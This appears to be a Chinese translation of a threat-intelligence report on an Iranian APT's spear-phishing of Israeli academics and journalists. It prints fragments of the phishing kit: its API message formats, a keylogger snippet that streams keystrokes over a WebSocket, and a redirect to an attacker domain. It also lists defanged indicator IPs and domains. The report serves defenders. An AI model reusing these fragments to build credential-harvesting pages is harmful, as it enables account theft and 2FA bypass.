伊朗APT组织"Educated Manticore"针对科技学者的网络钓鱼技术分析

伊朗APT组织"Educated Manticore"针对科技学者的网络钓鱼技术分析

关键发现

在伊朗和以色列持续紧张局势下,与伊斯兰革命卫队关联的伊朗威胁组织"Educated Manticore"发动了鱼叉式网络钓鱼活动,目标包括以色列记者、知名网络安全专家和顶尖以色列大学的计算机科学教授。

在某些攻击活动中,攻击者通过电子邮件和WhatsApp消息冒充技术高管或研究人员的虚构助理,接近以色列技术和网络安全专业人士。威胁行为者将与之互动的受害者引导至伪造的Gmail登录页面或Google Meet邀请。在这些钓鱼页面上输入的凭证会发送给攻击者,使他们能够拦截密码和2FA代码,并未经授权访问受害者账户。

Check Point Research持续跟踪用于支持Educated Manticore网络间谍活动的大规模且不断发展的凭证收集基础设施集群。

技术介绍

多年来,Check Point Research一直在监控伊朗APT组织Educated Manticore的活动。该组织与更广泛安全社区追踪的APT42、Charming Kitten或Mint Sandstorm活动一致,被认为代表伊斯兰革命卫队情报组织(IRGC-IO)运作。

Educated Manticore一直使用鱼叉式网络钓鱼作为核心策略, targeting政府、军事、研究、媒体和政策部门的个人。除了开发和部署自定义后门(如CharmPower(又名POWERSTAR)和PowerLess外,该组织还进行了许多针对性钓鱼活动,包括针对高级官员及其PII和身份证明文件的活动。

该组织的一个长期操作是以色列个人的虚假会议邀请。攻击者冒充各种角色,从高级官员到记者或研究人员,以获取可信度并引诱受害者进行互动。然后,受害者被引导至自定义钓鱼工具包,旨在收集其Google、Outlook或Yahoo账户的凭证。在一些报告的案例中,这已经危及以色列记者账户。在伊朗-以色列战争爆发后,我们观察到了该活动的新阶段,Educated Manticore开始使用网络安全公司的名称和信誉来获取受害者的信任,专注于网络安全和计算机技术领域的知名学术专家。

初始向量:鱼叉式网络钓鱼

从6月中旬开始,顶尖以色列大学的顶级网络和计算机科学专家通过电子邮件或WhatsApp消息被冒充网络安全公司虚构员工的人员接近。

从正式语气、结构化布局和无错误语法来看,该电子邮件似乎是在AI辅助下制作的。然而,尽管写作精良,一些细心的目标发现了显示其为伪造的迹象------例如,电子邮件正文中的名称"Sarah Novominski"与发件人电子邮件账户名称"Sara Noviminski"不匹配。

通过WhatsApp发送给另一个目标的另一条消息利用当前伊朗和以色列之间的紧张局势引诱收件人参加紧急会议。有趣的是,在这种情况下,威胁行为者还建议在特拉维夫亲自会面。这可能是一种旨在确保在线会议更快确认的策略。然而,鉴于伊朗行动的历史,不能完全排除该活动扩展到网络空间之外的可能性。

在所有情况下,初始消息不包含链接,但攻击者通过及时和有说服力的互动迅速获得受害者的信任,最终引导他们进入导致攻击者控制的钓鱼基础设施的在线会议链接。

Google认证自定义钓鱼工具包

在发送钓鱼链接之前,威胁行为者会询问受害者的电子邮件地址。然后,该地址在凭证钓鱼页面上预填充,以增加可信度并模拟合法Google认证流程的外观。

Educated Manticore使用的钓鱼工具包实现为使用React构建的单页面应用程序(SPA)。它被紧密捆绑、压缩和混淆。其主页代码非常简洁,因为所有可见UI在应用程序加载时由JS(在以下示例中为main.a184cc65.js)动态呈现:

html 复制代码
<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/>
        <link rel="stylesheet" href="/styles/font.css">
        <script defer="defer" src="/static/js/main.a184cc65.js"></script>
        <link href="/static/css/main.365793d0.css" rel="stylesheet"></head>
    <body><noscript>You need to enable JavaScript to run this app.</noscript><div id="rb"></div>
</body></html>

由于其单页面应用程序(SPA)性质,页面在步骤间导航时从不重新加载,并且不执行传统的全页面表单提交。相反,它使用React Router客户端更新视图,通过POST异步向后端API提交数据,并根据认证会话状态使用React组件动态呈现每个认证步骤。

在上述示例的main.a184cc65.js页面中,后端托管在https://idea-home[.]online:8569。为了启动钓鱼流程,工具包向/info/param发送POST请求,其中JSON宣布新受害者连接:

json 复制代码
{
    "sk": "<session key>",
    "sub_d": "<host>",  
    "link": "<search string or path>",
    "ip": "<IP address>",    // placeholder 0.0.0.1
    "user_agent": "<user-agent string>"
}

主机与搜索字符串(或路径)组合形成受害者点击的完整URL,服务器使用该URL识别受害者。作为响应,服务器返回包含任务特定配置的JSON有效负载,例如要显示哪个认证屏幕以及要使用的任何预填充受害者电子邮件地址。

json 复制代码
{
    "id": "<session key>",   // Session key to track victim
    "path": "gl_password",   // Next screen to show 
    "link": "",              // Optional: redirect URL
    "inputs": [              // Prefilled input fields
        { "key": "email", "content": "<email of victim>" },
    ]
}

受害者在钓鱼页面上通过的步骤取决于其账户的安全设置。该工具包处理Google认证机制支持的所有以下逻辑步骤:

步骤标识 目的
gl_signin 电子邮件/用户名输入表单(第一步)
gl_sms_code 输入SMS验证码
gl_password 密码输入页面
gl_verify "验证是您"提示(例如,挑战)
gl_tab 基于标签的电话提示
gl_prompt "是/否"类型批准
gl_email_code 发送到电子邮件的代码
gl_phone_number 输入电话号码的最后几位数字
gl_security_code 手动代码输入(TOTP/SMS)
gl_authenticator Google Authenticator UI
gl_not_found 如果页面ID未找到,则回退屏幕
gl_qr_code 用于2FA设置的QR扫描
gl_change_password 密码重置屏幕
gl_no_signin 通用"未登录"或错误屏幕

通过支持这些认证流程,该工具包支持2FA中继攻击,当威胁行为者可以使用被盗数据对合法服务完成MFA时。受害者在每个步骤(密码、MFA令牌等)输入的数据通过POST请求发送到/key/send API端点:

json 复制代码
{
    "sk": "<session key>",
    "content": "<user input>",   // e.g., password or 2FA code
    "page": "gl_password"        // Current step (e.g., gl_password, gl_verify, ..)
}

该工具包还在/sessions上维护持久的WebSocket连接,该连接在页面加载时打开并在整个会话期间保持活动状态。它包括一个被动键盘记录器,捕获每个击键并实时传输。发送的每个键事件标记为d: "kl"("keylogger"):

javascript 复制代码
(0, s.useEffect)((() => {
    const a = async a => {
        try {
            n && !t && n.send(JSON.stringify({
                d: "kl",
                c: a.which in ls ? ls[a.which] : a.key,
                sk: localStorage.getItem("sk"),
                page: e
            }))
        } catch (s) {
            console.log("error in socket => ", s)
        }
    };
    return window.addEventListener("keydown", a), () => window.removeEventListener("keydown", a)
}), [t, e, n])

除了在特定步骤提交时收集输入外,此键盘记录器还记录键入的每个字符------即使用户放弃表单或从未提交它。

WebSocket连接还允许从服务器向受害者发送动态更新,因此攻击者可以随时将受害者重定向到特定的伪造页面或步骤。

伪造Google Meet邀请

一些会议邀请利用托管在Google Sites服务sites.google.com上的多阶段钓鱼页面,这是威胁行为者近年来采用的一种策略,旨在通过使用Google域增加链接的合法性。

伪造页面设计为类似于合法的Google Meet会议页面。然而,一旦去除垃圾和混淆代码,底层结构非常简单------它显示一个硬编码图像:

该页面有三个版本,分别针对桌面、平板和手机设备。所有功能相同:当用户点击图像时,他们被重定向到攻击者的网站,该网站托管模仿Google认证过程的钓鱼页面:

html 复制代码
[code omitted]
<img id="desktop" class="responsive-img" src="data:image/png;base64,[base64-encoded image]"/>

[code omitted]
document.getElementById("desktop").onclick=()=>{ window.open("https" + ":" + "//sendly-ink" + "." + "shop/YtgtyyzP")  

[code omitted]

基础设施

我们评估威胁行为者于2025年1月开始使用上述自定义钓鱼工具包。除了Google/Gmail钓鱼页面外,威胁行为者在其工具集中还有类似的基于React的Outlook和Yahoo Email钓鱼工具包。两者与Gmail页面相比很少被观察到。Yahoo钓鱼页面的行为类似于Gmail主题工具包:它使用前缀为yh_的路由标识符(如yh_signinyh_passwordyh_enter_code等)来管理认证步骤之间的流程,并包括类似的被动键盘记录器,实时捕获每个击键。Outlook钓鱼工具包也使用React Router管理钓鱼步骤的进展,但它不在URL中公开路由路径。相反,步骤在内部标记(例如,page: "out_signin"page: "out_2FA_email"page: "out_authenticator_app"等),使流程与Gmail和Yahoo工具包一致------尽管路由命名不那么明确。

从2025年1月起,威胁行为者注册了许多用于针对性钓鱼操作的域,要么托管钓鱼工具包,要么作为其后端。底层基础设施依赖于130多个唯一域(以及众多子域),解析为十几个不同的IP地址。这些域大多数在NameCheap注册商注册。

此基础设施集群中的旧IP与GreenCharlie的公共指纹匹配,我们将其视为Educated Manticore的子集群,许多域遵循相同的名称模式。

结论

Educated Manticore继续构成持久和高影响的威胁,特别是在伊朗-以色列冲突升级阶段对以色列的个人。尽管网络安全社区曝光增加,该组织继续稳定运作,其特征是积极的鱼叉式网络钓鱼、快速设置域、子域和基础设施,以及在识别时快速拆除。这种敏捷性使它们能够在加强审查下保持有效。

Educated Manticore活动中使用的自定义钓鱼工具包紧密模仿熟悉的登录页面,如Google的页面,使用现代Web技术,如基于React的单页面应用程序(SPA)和动态页面路由。它还使用实时WebSocket连接发送被盗数据,并且设计允许其隐藏代码免受额外审查。

鉴于其目标的脆弱性------通常在敏感或基于信任的环境中与外部同行操作------我们评估Educated Manticore策略将继续专注于窃取与政权利益相关的身份和凭证。

IOCs

IPs:

css 复制代码
185.130.226[.]71
45.12.2[.]158
45.143.166[.]230
91.222.173[.]141
194.11.226[.]9
195.66.213[.]132
146.19.254[.]238
194.11.226[.]29
194.11.226[.]46
194.61.120[.]185
2.56.126[.]230
194.11.226[.]5

Domains:

css 复制代码
conn-ectionor[.]cfd
doptio-nalynk[.]online
ques-tion-ing[.]xyz
sendly-ink[.]shop
shaer-likn[.]store
alison624[.]online
bestshopu[.]online
black-friday-store[.]online
idea-home[.]online
book-handwrite[.]online
world-shop[.]online
lenan-rex[.]online
first-course[.]online
reading-course[.]online
make-house[.]online
est5090[.]online
zra-roll[.]online
tomas-company[.]online
clame-rade[.]online
dmn-for-hall[.]online
word-course[.]online
clothes-show[.]online
expressmarket[.]online
loads-ideas[.]online
sky-writer[.]online
becker624[.]online
adams-cooling[.]online
stadium-fresh[.]online
royalsoul[.]online
live-message[.]online
teammate-live[.]online
wood-house[.]online
ude-final[.]online
city-splash[.]online
door-black-meter[.]online
prt-max[.]online
albert-company[.]online
human-fly900[.]online
dmn-for-car[.]online
good-student[.]online
goods-companies[.]online
pnl-worth[.]online
ricardo-mell[.]online
live-coaching[.]online
wer-d[.]info
spring-club[.]info
all-for-city[.]info
beta-man[.]info
amg-car-ger[.]info
cc-newton[.]info
steve-brown[.]info
connect-room[.]online
live-gml[.]online
roland-cc[.]online
exir-juice[.]online
yamal-group[.]online
live-conn[.]online
online-room[.]online
platinum-cnt[.]info
crysus-h[.]info
lynda-tricks[.]online
message-live[.]online
white-life-bl[.]info
meet-work[.]info
prj-ph[.]info
hrd-dmn[.]info
ntp-clock-h[.]info
work-meeting[.]info
ph-crtdomain[.]info
nsim-ph[.]info
warning-d[.]info
live-meet[.]cloud
live-meet[.]blog
live-meet[.]info
live-meet[.]cfd
live-meet[.]live
network-show[.]online
redirect-review[.]online
arizonaclub[.]me
backback[.]info
cloth-model[.]blog
cook-tips[.]info
network-review[.]xyz
socks[.]beauty
gallery-shop[.]online
network-game[.]xyz
good-news[.]cfd
network-show-a[.]online
panel-network[.]online
panel-redirect[.]online
encryption-redirect[.]online
thomas-mark[.]xyz
rap-art[.]info
anna-blog[.]info
arrow-click[.]info
best85best[.]online
shadow-network[.]best
good-news[.]fashion
warplogic[.]pro
cyberlattice[.]pro
show-verify[.]xyz
top-game[.]online
suite-moral[.]info
nice-goods[.]online
crysus-p[.]info
wash-less[.]online
ptr-cc[.]online
white-car[.]online
live-content[.]online
bracs-lion[.]online
storm-wave[.]online
course-math[.]info
food-tips-blog[.]online
white-life[.]info
ph-work[.]info
normal-dmn[.]info
panel-meeting[.]info
prj-pa[.]info
ntp-clock-p[.]info
nsim-pa[.]info
pa-crtdomain[.]info
infinit-world[.]info
alex-mendez-fire[.]info
reg-d[.]info
everything-here[.]info
healthy-lifestyle[.]fit
alpha-man[.]info
lesson-first[.]info
master-club[.]info
相关推荐
Elastic 中国社区官方博客24 分钟前
将 agents 连接到 Elasticsearch 使用模型上下文协议 - docker
大数据·数据库·人工智能·elasticsearch·搜索引擎·docker·ai
一水鉴天33 分钟前
整体设计 修订 之1 三“先”之“基” 与范畴重构:康德先验哲学的批判性程序化实现
java·人工智能·算法
我叫侯小科44 分钟前
机器学习-支持向量机
人工智能·机器学习·支持向量机
Java中文社群1 小时前
哇塞!AI编程神器Kiro,免排队畅用真Claude模型!
人工智能
IT_陈寒1 小时前
Python性能优化必知必会:7个让代码快3倍的底层技巧与实战案例
前端·人工智能·后端
PetterHillWater1 小时前
AI辅助硬件升级HP DL360 G7之一显卡篇
aigc
即兴小索奇1 小时前
AI智能物流仓储新变革:从自动分拣到动态路径规划,破解仓储运营效率难题
人工智能·ai·商业·ai商业洞察·即兴小索奇
中草药z1 小时前
【SpringAI】快速上手,详解项目快速集成主流大模型DeepSeek,ChatGPT
人工智能·flux·sse·springai·deepseek·硅基流动·流式编程
BioRunYiXue2 小时前
FRET、PLA、Co-IP和GST pull-down有何区别? 应该如何选择?
java·服务器·网络·人工智能·网络协议·tcp/ip·eclipse
界面开发小八哥2 小时前
界面控件Telerik UI for Blazor 2025 Q2新版亮点 - AI集成全面增强
人工智能·ui·blazor·用户界面·telerik